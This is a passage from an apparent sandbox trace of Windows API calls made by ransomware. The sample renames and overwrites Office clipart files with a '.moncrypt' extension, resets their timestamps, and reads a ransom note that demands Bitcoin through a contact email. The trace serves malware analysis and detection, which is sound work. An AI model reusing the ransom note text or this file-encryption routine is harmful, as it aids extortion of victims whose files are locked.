0x440004 [0061.523] GlobalUnlock (hMem=0x440004) returned 0 [0061.523] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0061.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0061.524] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0061.524] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0061.524] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.524] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.524] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.524] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.524] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.524] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.524] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.524] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0061.524] CloseHandle (hObject=0x188) returned 1 [0061.525] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0061.525] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0061.525] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0061.525] GlobalLock (hMem=0x440004) returned 0x550170 [0061.525] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.525] GlobalUnlock (hMem=0x440004) returned 0 [0061.525] GlobalLock (hMem=0x440004) returned 0x550170 [0061.525] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.525] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.525] GlobalUnlock (hMem=0x440004) returned 0 [0061.525] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.525] GlobalUnlock (hMem=0x44000c) returned 0 [0061.525] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0061.525] CharLowerBuffW (in: lpsz="BD05119_.WMF", cchLength=0xc | out: lpsz="bd05119_.wmf") returned 0xc [0061.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.526] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", lpUsedDefaultChar=0x0) returned 63 [0061.526] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0061.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD05119_.WMF", lpUsedDefaultChar=0x0) returned 4 [0061.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 0x54e240 [0061.526] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0061.526] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0061.526] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", dwFileAttributes=0x20) returned 1 [0061.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0061.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.moncrypt")) returned 1 [0061.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.528] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.528] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x4354 [0061.528] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0061.528] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0061.530] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.530] GlobalLock (hMem=0x440004) returned 0x550170 [0061.531] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.531] GlobalUnlock (hMem=0x440004) returned 0 [0061.531] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0061.531] GlobalLock (hMem=0x440004) returned 0x55db88 [0061.531] GlobalHandle (pMem=0x55db88) returned 0x440004 [0061.531] GlobalUnlock (hMem=0x440004) returned 0 [0061.531] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0061.531] GlobalLock (hMem=0x440004) returned 0x55db88 [0061.531] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.531] GlobalUnlock (hMem=0x44000c) returned 0 [0061.531] GlobalHandle (pMem=0x55db88) returned 0x440004 [0061.531] GlobalUnlock (hMem=0x440004) returned 0 [0061.531] GlobalLock (hMem=0x440004) returned 0x550170 [0061.531] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.531] GlobalUnlock (hMem=0x440004) returned 0 [0061.531] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0061.531] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.531] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.531] GlobalUnlock (hMem=0x440004) returned 0 [0061.531] ReadFile (in: hFile=0x188, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0061.532] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0061.532] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0061.532] SetFilePointer (in: hFile=0x188, lDistanceToMove=17236, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x4354 [0061.532] WriteFile (in: hFile=0x188, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0061.532] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0061.532] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0061.543] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0061.543] CloseHandle (hObject=0x188) returned 1 [0061.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.934] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0061.934] CloseHandle (hObject=0x188) returned 1 [0061.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0061.935] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0061.936] GlobalLock (hMem=0x440004) returned 0x550170 [0061.936] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.936] GlobalUnlock (hMem=0x440004) returned 0 [0061.936] GlobalLock (hMem=0x440004) returned 0x550170 [0061.936] GlobalLock (hMem=0x44000c) returned 0x557b78 [0061.936] GlobalHandle (pMem=0x550170) returned 0x440004 [0061.936] GlobalUnlock (hMem=0x440004) returned 0 [0061.936] GlobalHandle (pMem=0x557b78) returned 0x44000c [0061.936] GlobalUnlock (hMem=0x44000c) returned 0 [0061.936] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0061.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0061.936] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0061.936] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0061.936] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0061.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0061.937] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.937] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.937] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.937] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.937] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0061.937] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0061.937] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0061.937] CloseHandle (hObject=0x188) returned 1 [0061.937] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0061.937] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0061.937] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0061.938] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.938] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.938] GlobalUnlock (hMem=0x44000c) returned 0 [0061.938] GlobalLock (hMem=0x44000c) returned 0x550170 [0061.938] GlobalLock (hMem=0x440004) returned 0x557b78 [0061.938] GlobalHandle (pMem=0x550170) returned 0x44000c [0061.938] GlobalUnlock (hMem=0x44000c) returned 0 [0061.938] GlobalHandle (pMem=0x557b78) returned 0x440004 [0061.938] GlobalUnlock (hMem=0x440004) returned 0 [0061.938] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0061.938] CharLowerBuffW (in: lpsz="BD06102_.WMF", cchLength=0xc | out: lpsz="bd06102_.wmf") returned 0xc [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0061.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0061.939] MultiByteToWideChar (in: 